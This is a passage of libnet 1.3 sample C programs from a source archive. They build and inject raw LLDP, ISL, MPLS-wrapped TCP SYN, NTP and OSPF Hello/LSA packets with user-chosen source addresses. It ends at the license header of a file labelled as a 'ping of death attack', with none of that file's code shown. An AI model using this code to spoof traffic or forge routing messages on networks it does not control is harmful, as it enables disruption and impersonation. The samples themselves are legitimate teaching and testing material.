notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * */ #if (HAVE_CONFIG_H) #include "../include/config.h" #endif #include "./libnet_test.h" int main(int argc, char *argv[]) { int c, len; libnet_t *l; libnet_ptag_t t; u_char *dst; u_long ip; u_char dhost[5] = {0x01, 0x00, 0x0c, 0x00, 0x00}; u_char snap[6] = {0xaa, 0xaa, 0x03, 0x00, 0x00, 0x00}; char *device = NULL; char errbuf[LIBNET_ERRBUF_SIZE]; printf("libnet 1.1 packet shaping: [ISL]\n"); device = NULL; dst = NULL; while ((c = getopt(argc, argv, "i:d:")) != EOF) { switch (c) { case 'd': dst = libnet_hex_aton(optarg, &len); break; case 'i': device = optarg; break; } } if (dst == NULL) { fprintf(stderr, "usage %s -d dst [-i interface]\n", argv[0]); exit(EXIT_FAILURE); } /* * Initialize the library. Root privileges are required. */ l = libnet_init( LIBNET_LINK, /* injection type */ device, /* network interface */ errbuf); /* errbuf */ if (l == NULL) { fprintf(stderr, "libnet_init() failed: %s", errbuf); exit(EXIT_FAILURE); } ip = libnet_get_ipaddr4(l); t = libnet_build_arp( ARPHRD_ETHER, /* hardware addr */ ETHERTYPE_IP, /* protocol addr */ 6, /* hardware addr size */ 4, /* protocol addr size */ ARPOP_REPLY, /* operation type */ enet_src, /* sender hardware addr */ (u_char *)&ip, /* sender protocol addr */ enet_dst, /* target hardware addr */ (u_char *)&ip, /* target protocol addr */ NULL, /* payload */ 0, /* payload size */ l, /* libnet handle */ 0); /* libnet id */ if (t == -1) { fprintf(stderr, "Can't build ARP header: %s\n", libnet_geterror(l)); goto bad; } t = libnet_autobuild_ethernet( dst, /* ethernet destination */ ETHERTYPE_ARP, /* protocol type */ l); /* libnet handle */ if (t == -1) { fprintf(stderr, "Can't build ethernet header: %s\n", libnet_geterror(l)); goto bad; } t = libnet_build_isl( dhost, 0x0, 0x0, enet_src, 10 + 42, snap, 10, 0x8000, 0, NULL, /* payload */ 0, /* payload size */ l, /* libnet handle */ 0); /* libnet id */ if (t == -1) { fprintf(stderr, "Can't build ISL header: %s\n", libnet_geterror(l)); goto bad; } /* * Write it to the wire. */ c = libnet_write(l); if (c == -1) { fprintf(stderr, "Write error: %s\n", libnet_geterror(l)); goto bad; } else { fprintf(stderr, "Wrote %d byte ISL packet; check the wire.\n", c); } free(dst); libnet_destroy(l); return (EXIT_SUCCESS); bad: free(dst); libnet_destroy(l); return (EXIT_FAILURE); } libnet-1.3/sample/libnet_test.h0000664000175000017500000000364314506572036015032 0ustar syqsyq/* * libnet_test.h * * Copyright (c) 1998 - 2001 Mike D. Schiffman */ #ifndef __LIBNET_TEST_H #define __LIBNET_TEST_H #if (HAVE_CONFIG_H) #include "../include/config.h" #endif #include "../include/libnet.h" #if !defined(__WIN32__) # include #endif #define libnet_timersub(tvp, uvp, vvp) \ do { \ (vvp)->tv_sec = (tvp)->tv_sec - (uvp)->tv_sec; \ (vvp)->tv_usec = (tvp)->tv_usec - (uvp)->tv_usec; \ if ((vvp)->tv_usec < 0) { \ (vvp)->tv_sec--; \ (vvp)->tv_usec += 1000000; \ } \ } while (0) u_char enet_src[6] = {0x0d, 0x0e, 0x0a, 0x0d, 0x00, 0x00}; u_char enet_dst[6] = {0x00, 0x10, 0x67, 0x00, 0xb1, 0x86}; u_char ip_src[4] = {0x0a, 0x00, 0x00, 0x01}; u_char ip_dst[4] = {0x0a, 0x00, 0x00, 0x02}; u_char fddi_src[6] = {0x00, 0x0d, 0x0e, 0x0a, 0x0d, 0x00}; u_char fddi_dst[6] = {0x00, 0x10, 0x67, 0x00, 0xb1, 0x86}; u_char tr_src[6] = {0x00, 0x0d, 0x0e, 0x0a, 0x0d, 0x00}; u_char tr_dst[6] = {0x00, 0x10, 0x67, 0x00, 0xb1, 0x86}; u_char org_code[3] = {0x00, 0x00, 0x00}; void usage(char *); #if defined(__WIN32__) #include /* For non-MingW, this is a local libnet/win32/getopt.h */ #include #include #ifndef _MSC_VER #include #endif // FIXME: weido... see #define LIBNET_API __declspec(dllexport) in win32/libnet.h... //#if defined(__GNUC__) /* mingw compiler */ //extern __attribute__((dllimport)) char *optarg; //#else /* assume msvc */ //extern __dllspec(dllimport) char *optarg; //#endif #endif /* __WIN32__ */ #endif /* __LIBNET_TEST_H */ libnet-1.3/sample/lldp.c0000664000175000017500000000607514506572036013446 0ustar syqsyq/* * TODO: let to the user to configure the application. * Parse the CLI arguments. */ #if (HAVE_CONFIG_H) #include "../include/config.h" #endif #include "./libnet_test.h" #define DEVICE_NAME "lo" int main(int argc, char *argv[]) { (void)argc; /* unused */ int c; libnet_t *l; libnet_ptag_t t; char errbuf[LIBNET_ERRBUF_SIZE]; uint8_t lldp_dst_mac[6] = {0x01, 0x80, 0xC2, 0x00, 0x00, 0x0E}; l = libnet_init(LIBNET_LINK, DEVICE_NAME, errbuf); if (l == NULL) { fprintf(stderr, "libnet_init() failed: %s", errbuf); return (EXIT_FAILURE); } /* * Building of the LLDPDU should be from the tail to the head. * - End of LLDPDU TLV * - Optionals TLVs * - TTL TLV * - Port ID TLV * - Chassis ID TLV */ /* * Build End of LLDPDU TLV */ t = libnet_build_lldp_end(l, 0); if (t == -1) { fprintf(stderr, "Can't build lldp end of lldpdu tlv: %s\n", libnet_geterror(l)); goto bad; } /* * Build Organization Specific TLV * Build TLV information string manually */ uint8_t org_spec[9] = {0x00, 0x12, 0x0f, /* IEEE802.3 OUI */ 0x01, /* IEEE 802.3 Subtype: MAC/PHY */ 0x03, 0xc0, 0x36, 0x00, 0x10}; /* String information */ t = libnet_build_lldp_org_spec(org_spec, sizeof(org_spec), l, 0); if (t == -1) { fprintf(stderr, "Can't build Organization Specific tlv: %s\n", libnet_geterror(l)); goto bad; } /* * Build TTL TLV */ const uint16_t ttl = htons(120); /* seconds */ t = libnet_build_lldp_ttl(ttl, l, 0); if (t == -1) { fprintf(stderr, "Can't build ttl tlv: %s\n", libnet_geterror(l)); goto bad; } /* * Build Port ID TLV */ uint8_t interface_alias[15] = {0x55, 0x70, 0x6c, 0x69, 0x6e, 0x6b, 0x20, 0x74, 0x6f, 0x20, 0x53, 0x31}; t = libnet_build_lldp_port(LIBNET_LLDP_PORT_ID_SUBTYPE_IF_ALIAS, interface_alias, sizeof(interface_alias), l, 0); if (t == -1) { fprintf(stderr, "Can't build lldp port id tlv: %s\n", libnet_geterror(l)); goto bad; } /* * Build Chassis ID TLV */ uint8_t chassis_mac[6] = {0x00, 0x19, 0x2f, 0xa7, 0xb2, 0x8d}; t = libnet_build_lldp_chassis(LIBNET_LLDP_CHASSIS_ID_SUBTYPE_MAC, chassis_mac, sizeof(chassis_mac), l, 0); if (t == -1) { fprintf(stderr, "Can't build lldp chassis id tlv: %s\n", libnet_geterror(l)); goto bad; } t = libnet_build_ethernet(lldp_dst_mac, (uint8_t *)libnet_get_hwaddr(l), LIBNET_LLDP_ETH_TYPE, NULL, 0, l, 0); if (t == -1) { fprintf(stderr, "Can't build ethernet header: %s\n", libnet_geterror(l)); goto bad; } /* write the packet out */ c = libnet_write(l); if (c == -1) { fprintf(stderr, "Write error: %s\n", libnet_geterror(l)); goto bad; } else { fprintf(stderr, "Wrote %d byte LLDP frame \"%s\"\n", c, argv[2]); } libnet_destroy(l); return (EXIT_SUCCESS); bad: libnet_destroy(l); return (EXIT_FAILURE); } libnet-1.3/sample/mpls.c0000664000175000017500000002251214506572036013460 0ustar syqsyq/* * $Id: mpls.c,v 1.3 2004/03/01 20:26:12 mike Exp $ * * libnet 1.1 * Build an MPLS packet * * Copyright (c) 1998 - 2004 Mike D. Schiffman * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * */ #if (HAVE_CONFIG_H) #include "../include/config.h" #endif #include "./libnet_test.h" int main(int argc, char *argv[]) { int c; char *cp; libnet_t *l; libnet_ptag_t t; u_char *payload; u_long payload_s; u_long src_ip, dst_ip; u_short src_prt, dst_prt; char errbuf[LIBNET_ERRBUF_SIZE]; printf("libnet 1.1 packet shaping: MPLS[link]\n"); /* * Initialize the library. Root priviledges are required. */ l = libnet_init( LIBNET_LINK_ADV, /* injection type */ NULL, /* network interface */ errbuf); /* error buffer */ if (l == NULL) { fprintf(stderr, "libnet_init() failed: %s", errbuf); exit(EXIT_FAILURE); } src_ip = 0; dst_ip = 0; src_prt = 0; dst_prt = 0; payload = NULL; payload_s = 0; while ((c = getopt(argc, argv, "d:s:p:")) != EOF) { switch (c) { /* * We expect the input to be of the form `ip.ip.ip.ip.port`. We * point cp to the last dot of the IP address/port string and * then separate them with a NULL byte. The optarg now points to * just the IP address, and cp points to the port. */ case 'd': if (!(cp = strrchr(optarg, '.'))) { usage(argv[0]); } *cp++ = 0; dst_prt = (u_short)atoi(cp); if ((dst_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1) { fprintf(stderr, "Bad destination IP address: %s\n", optarg); exit(EXIT_FAILURE); } break; case 's': if (!(cp = strrchr(optarg, '.'))) { usage(argv[0]); } *cp++ = 0; src_prt = (u_short)atoi(cp); if ((src_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1) { fprintf(stderr, "Bad source IP address: %s\n", optarg); exit(EXIT_FAILURE); } break; case 'p': payload = (u_char *)optarg; payload_s = strlen((char *)payload); break; default: exit(EXIT_FAILURE); } } if (!src_ip || !src_prt || !dst_ip || !dst_prt) { usage(argv[0]); exit(EXIT_FAILURE); } t = libnet_build_tcp( src_prt, /* source port */ dst_prt, /* destination port */ 0xffffffff, /* sequence number */ 0x00000000, /* acknowledgement num */ TH_SYN, /* control flags */ 32767, /* window size */ 0, /* checksum */ 0, /* urgent pointer */ LIBNET_TCP_H + payload_s, /* TCP packet size */ payload, /* payload */ payload_s, /* payload size */ l, /* libnet handle */ 0); /* libnet id */ if (t == -1) { fprintf(stderr, "Can't build TCP header: %s\n", libnet_geterror(l)); goto bad; } t = libnet_build_ipv4( LIBNET_IPV4_H + LIBNET_TCP_H + payload_s, /* length */ 0, /* TOS */ 242, /* IP ID */ 0, /* IP Frag */ 64, /* TTL */ IPPROTO_TCP, /* protocol */ 0, /* checksum */ src_ip, /* source IP */ dst_ip, /* destination IP */ NULL, /* payload */ 0, /* payload size */ l, /* libnet handle */ 0); /* libnet id */ if (t == -1) { fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l)); goto bad; } t = libnet_build_mpls( 29, /* label */ 4, /* experimental */ LIBNET_MPLS_BOS_ON, /* bottom of stack */ 0xff, /* ttl */ NULL, /* payload */ 0, /* payload size */ l, /* libnet handle */ 0); /* libnet id */ if (t == -1) { fprintf(stderr, "Can't build MPLS header: %s\n", libnet_geterror(l)); goto bad; } t = libnet_build_mpls( 39, /* label */ 5, /* experimental */ LIBNET_MPLS_BOS_ON, /* bottom of stack */ 0xef, /* ttl */ NULL, /* payload */ 0, /* payload size */ l, /* libnet handle */ 0); /* libnet id */ if (t == -1) { fprintf(stderr, "Can't build MPLS header: %s\n", libnet_geterror(l)); goto bad; } t = libnet_build_mpls( 59, /* label */ 6, /* experimental */ LIBNET_MPLS_BOS_ON, /* bottom of stack */ 0x0f, /* ttl */ NULL, /* payload */ 0, /* payload size */ l, /* libnet handle */ 0); /* libnet id */ if (t == -1) { fprintf(stderr, "Can't build MPLS header: %s\n", libnet_geterror(l)); goto bad; } t = libnet_build_ethernet( enet_dst, /* ethernet destination */ enet_src, /* ethernet source */ ETHERTYPE_MPLS, /* protocol type */ NULL, /* payload */ 0, /* payload size */ l, /* libnet handle */ 0); /* libnet id */ if (t == -1) { fprintf(stderr, "Can't build ethernet header: %s\n", libnet_geterror(l)); goto bad; } /* * Write it to the wire. */ c = libnet_write(l); if (c == -1) { fprintf(stderr, "Write error: %s\n", libnet_geterror(l)); goto bad; } else { fprintf(stderr, "Wrote %d byte MPLS frame; check the wire.\n", c); } libnet_destroy(l); return (EXIT_SUCCESS); bad: libnet_destroy(l); return (EXIT_FAILURE); } void usage(char *name) { fprintf(stderr, "usage: %s -s source_ip.source_port -d destination_ip.destination_port" " [-p payload]\n", name); } libnet-1.3/sample/ntp.c0000664000175000017500000001616014506572036013310 0ustar syqsyq/* * $Id: ntp.c,v 1.3 2004/02/20 18:53:49 mike Exp $ * * libnet 1.1 * Build an NTP Packet * * Copyright (c) 1998 - 2004 Mike D. Schiffman * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * */ #if (HAVE_CONFIG_H) #include "../include/config.h" #endif #include "./libnet_test.h" int main(int argc, char **argv) { int c; libnet_t *l; u_long dst_ip; libnet_ptag_t t; char errbuf[LIBNET_ERRBUF_SIZE]; printf("libnet 1.1 NTP packet shaping[raw -- autobuilding IP]\n"); /* * Initialize the library. Root priviledges are required. */ l = libnet_init( LIBNET_RAW4, /* injection type */ NULL, /* network interface */ errbuf); /* error buf */ if (l == NULL) { fprintf(stderr, "libnet_init() failed: %s", errbuf); exit(EXIT_FAILURE); } dst_ip = 0; while((c = getopt(argc, argv, "d:")) != EOF) { switch (c) { /* * We expect the input to be of the form `ip.ip.ip.ip.port`. We * point cp to the last dot of the IP address/port string and * then separate them with a NULL byte. The optarg now points to * just the IP address, and cp points to the port. */ case 'd': if ((dst_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1) { fprintf(stderr, "Bad destination IP address: %s\n", optarg); exit(1); } break; } } if (!dst_ip) { usage(argv[0]); exit(EXIT_FAILURE); } /* * Build the packet, remmebering that order IS important. We must * build the packet from lowest protocol type on up as it would * appear on the wire. So for our NTP packet: * * -------------------------------------------------------------------- * | IP | UDP | NTP | * -------------------------------------------------------------------- * ^ ^ ^ * |-------------- | | * libnet_build_ipv4()--| | | * | | * libnet_build_udp()-------| | * | * libnet_build_ntp()------------------------------| */ t = libnet_build_ntp( LIBNET_NTP_LI_AC, /* leap indicator */ LIBNET_NTP_VN_4, /* version */ LIBNET_NTP_MODE_S, /* mode */ LIBNET_NTP_STRATUM_PRIMARY, /* stratum */ 4, /* poll interval */ 1, /* precision */ 0xffff, /* delay interval */ 0xffff, /* delay fraction */ 0xffff, /* dispersion interval */ 0xffff, /* dispersion fraction */ LIBNET_NTP_REF_PPS, /* reference id */ 0x11, /* reference ts int */ 0x22, /* reference ts frac */ 0x33, /* originate ts int */ 0x44, /* originate ts frac */ 0x55, /* receive ts int */ 0x66, /* receive ts frac */ 0x77, /* transmit ts interval */ 0x88, /* transmit ts fraction */ NULL, /* payload */ 0, /* payload size */ l, /* libnet handle */ 0); /* libnet id */ if (t == -1) { fprintf(stderr, "Can't build NTP header: %s\n", libnet_geterror(l)); goto bad; } libnet_seed_prand(l); t = libnet_build_udp( libnet_get_prand(LIBNET_PRu16), /* source port */ 123, /* NTP port */ LIBNET_UDP_H + LIBNET_NTP_H, /* UDP packet length */ 0, /* checksum */ NULL, /* payload */ 0, /* payload size */ l, /* libnet handle */ 0); /* libnet id */ if (t == -1) { fprintf(stderr, "Can't build UDP header: %s\n", libnet_geterror(l)); goto bad; } t = libnet_autobuild_ipv4( LIBNET_IPV4_H + LIBNET_UDP_H + LIBNET_NTP_H,/* packet length */ IPPROTO_UDP, dst_ip, l); if (t == -1) { fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l)); goto bad; } /* * Write it to the wire. */ fprintf(stderr, "l contains a %d byte packet\n", libnet_getpacket_size(l)); c = libnet_write(l); if (c == -1) { fprintf(stderr, "Write error: %s\n", libnet_geterror(l)); goto bad; } else { fprintf(stderr, "Wrote %d byte NTP packet; check the wire.\n", c); } libnet_destroy(l); return (EXIT_SUCCESS); bad: libnet_destroy(l); return (EXIT_FAILURE); } void usage(char *name) { fprintf(stderr, "usage: %s -d destination_ip\n", name); } libnet-1.3/sample/ospf_hello.c0000664000175000017500000001450114506572036014636 0ustar syqsyq/* * $Id: ospf_hello.c,v 1.3 2004/11/09 07:05:07 mike Exp $ * * libnet 1.1 * Build an OSPF Hello packet * * Copyright (c) 1998 - 2004 Mike D. Schiffman * All rights reserved. * * Copyright (c) 1999, 2000 Andrew Reiter * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * */ #if (HAVE_CONFIG_H) #include "../include/config.h" #endif #include "./libnet_test.h" int main(int argc, char **argv) { int c; libnet_t *l; libnet_ptag_t t; u_long src, dst; char errbuf[LIBNET_ERRBUF_SIZE]; char *to, *from; u_char auth[8] = {0,0,0,0,0,0,0,0}; printf("libnet 1.1 OSPF Hello packet shaping[raw]\n"); if (argc != 3) { usage(argv[0]); } from = argv[1]; to = argv[2]; /* * Initialize the library. Root priviledges are required. */ l = libnet_init( LIBNET_RAW4, /* injection type */ NULL, /* network interface */ errbuf); /* errbuf */ if (l == NULL) { fprintf(stderr, "libnet_init() failed: %s", errbuf); exit(EXIT_FAILURE); } /* Too lazy to check for error */ src = libnet_name2addr4(l, from, LIBNET_DONT_RESOLVE); dst = libnet_name2addr4(l, to, LIBNET_DONT_RESOLVE); t = libnet_build_ospfv2_hello( 0xffffffff, /* netmask */ 2, /* interval */ 0x00, /* options */ 0x00, /* priority */ 30, /* dead int */ src, /* router */ src, /* router */ NULL, /* payload */ 0, /* payload size */ l, /* libnet handle */ 0); /* libnet id */ if (t == -1) { fprintf(stderr, "Can't build OSPF HELLO header: %s\n", libnet_geterror(l)); goto bad; } /* authentication data */ t = libnet_build_data( auth, /* auth data */ LIBNET_OSPF_AUTH_H, /* payload size */ l, /* libnet handle */ 0); /* libnet id */ if (t == -1) { fprintf(stderr, "Can't build OSPF auth header: %s\n", libnet_geterror(l)); goto bad; } t = libnet_build_ospfv2( LIBNET_OSPF_HELLO_H + LIBNET_OSPF_AUTH_H, /* OSPF packet length */ LIBNET_OSPF_HELLO, /* OSPF packet type */ htonl(0xd000000d), /* router id */ htonl(0xc0ffee00), /* area id */ 0, /* checksum */ LIBNET_OSPF_AUTH_NULL, /* auth type */ NULL, /* payload */ 0, /* payload size */ l, /* libnet handle */ 0); /* libnet id */ if (t == -1) { fprintf(stderr, "Can't build OSPF header: %s\n", libnet_geterror(l)); goto bad; } t = libnet_build_ipv4( LIBNET_IPV4_H + LIBNET_OSPF_H + LIBNET_OSPF_HELLO_H + LIBNET_OSPF_AUTH_H, /* packet total legnth */ 0, /* TOS */ 101, /* IP iD */ IP_DF, /* IP frag */ 254, /* TTL */ IPPROTO_OSPF, /* protocol */ 0, /* checksum */ src, /* source IP */ dst, /* destination IP */ NULL, /* payload */ 0, /* payload size */ l, /* libnet handle */ 0); /* libnet id */ if (t == -1) { fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l)); goto bad; } /* * Write it to the wire. */ c = libnet_write(l); if (c == -1) { fprintf(stderr, "Write error: %s\n", libnet_geterror(l)); goto bad; } else { fprintf(stderr, "Wrote %d byte OSPF packet; check the wire.\n", c); } libnet_destroy(l); return (EXIT_SUCCESS); bad: libnet_destroy(l); return (EXIT_FAILURE); } void usage(char *pname) { printf("Usage: %s \n", pname); exit(EXIT_SUCCESS); } libnet-1.3/sample/ospf_lsa.c0000664000175000017500000001572714506572036014325 0ustar syqsyq/* * $Id: ospf_lsa.c,v 1.2 2004/01/03 20:31:01 mike Exp $ * * libnet 1.1 * Build an OSPF LSA packet * * Copyright (c) 1998 - 2004 Mike D. Schiffman * All rights reserved. * * Copyright (c) 1999, 2000 Andrew Reiter * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * */ #if (HAVE_CONFIG_H) #include "../include/config.h" #endif #include "./libnet_test.h" int main(int argc, char **argv) { int c; libnet_t *l; libnet_ptag_t t; u_long src, dst; u_char auth[8] = {0,0,0,0,0,0,0,0}; char *from, *to, errbuf[LIBNET_ERRBUF_SIZE]; printf("libnet 1.1 OSPF LSA packet shaping[raw]\n"); if (argc != 3) { usage(argv[0]); } from = argv[1]; to = argv[2]; /* * Initialize the library. Root priviledges are required. */ l = libnet_init( LIBNET_RAW4, /* injection type */ NULL, /* network interface */ errbuf); /* errbuf */ if (l == NULL) { fprintf(stderr, "libnet_init() failed: %s", errbuf); exit(EXIT_FAILURE); } /* Too lazy to check for error */ src = libnet_name2addr4(l, from, LIBNET_DONT_RESOLVE); dst = libnet_name2addr4(l, to, LIBNET_DONT_RESOLVE); t = libnet_build_ospfv2_lsa_net( 0xffffff00, /* netmask */ 0xc0ffee00, /* router id */ NULL, /* payload */ 0, /* payload size */ l, /* libnet handle */ 0); /* libnet id */ if (t == -1) { fprintf(stderr, "Can't build LSA net header: %s\n", libnet_geterror(l)); goto bad; } t = libnet_build_ospfv2_lsa( 40, /* packet age */ 0, /* options */ LIBNET_LS_TYPE_NET, /* type */ htonl(0xc0ffee00), /* LS id */ src, /* ad router */ 0x11111111, /* seq */ 0xffff, /* checksum */ LIBNET_OSPF_LS_NET_H + LIBNET_OSPF_LSA_H, /* packet length */ NULL, /* payload */ 0, /* payload size */ l, /* libnet handle */ 0); /* libnet id */ if (t == -1) { fprintf(stderr, "Can't build LSA header: %s\n", libnet_geterror(l)); goto bad; } /* authentication data */ t = libnet_build_data( auth, /* auth data */ LIBNET_OSPF_AUTH_H, /* payload size */ l, /* libnet handle */ 0); /* libnet id */ if (t == -1) { fprintf(stderr, "Can't build OSPF AUTH header: %s\n", libnet_geterror(l)); goto bad; } t = libnet_build_ospfv2( LIBNET_OSPF_LSA_H + LIBNET_OSPF_AUTH_H + LIBNET_OSPF_LS_NET_H, /* OSPF packet length */ LIBNET_OSPF_LSA, /* OSPF packet type */ htonl(0xd000000d), /* router id */ htonl(0xc0ffee00), /* area id */ 0, /* checksum */ LIBNET_OSPF_AUTH_NULL, /* auth type */ NULL, /* payload */ 0, /* payload size */ l, /* libnet handle */ 0); /* libnet id */ if (t == -1) { fprintf(stderr, "Can't build OSPF header: %s\n", libnet_geterror(l)); goto bad; } t = libnet_build_ipv4( LIBNET_IPV4_H + LIBNET_OSPF_H + LIBNET_OSPF_AUTH_H + LIBNET_OSPF_LSA_H + LIBNET_OSPF_LS_NET_H, /* packet total length */ 0, /* TOS */ 101, /* IP iD */ IP_DF, /* IP frag */ 254, /* TTL */ IPPROTO_OSPF, /* protocol */ 0, /* checksum */ src, /* source IP */ dst, /* destination IP */ NULL, /* payload */ 0, /* payload size */ l, /* libnet handle */ 0); /* libnet id */ if (t == -1) { fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l)); goto bad; } /* * Write it to the wire. */ c = libnet_write(l); if (c == -1) { fprintf(stderr, "Write error: %s\n", libnet_geterror(l)); goto bad; } else { fprintf(stderr, "Wrote %d byte OSPF packet; check the wire.\n", c); } libnet_destroy(l); return (EXIT_SUCCESS); bad: libnet_destroy(l); return (EXIT_FAILURE); } void usage(char *pname) { printf("Usage: %s \n", pname); exit(0); } libnet-1.3/sample/ping_of_death.c0000664000175000017500000001363614506572036015302 0ustar syqsyq/* * $Id: ping_of_death.c,v 1.2 2004/01/03 20:31:01 mike Exp $ * * libnet 1.1 * ICMP ping of death attack * * Copyright (c) 1998 - 2004 Mike D. Schiffman * All rights reserved. * * Copyright (c) 1999 - 2001 Dug Song * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A 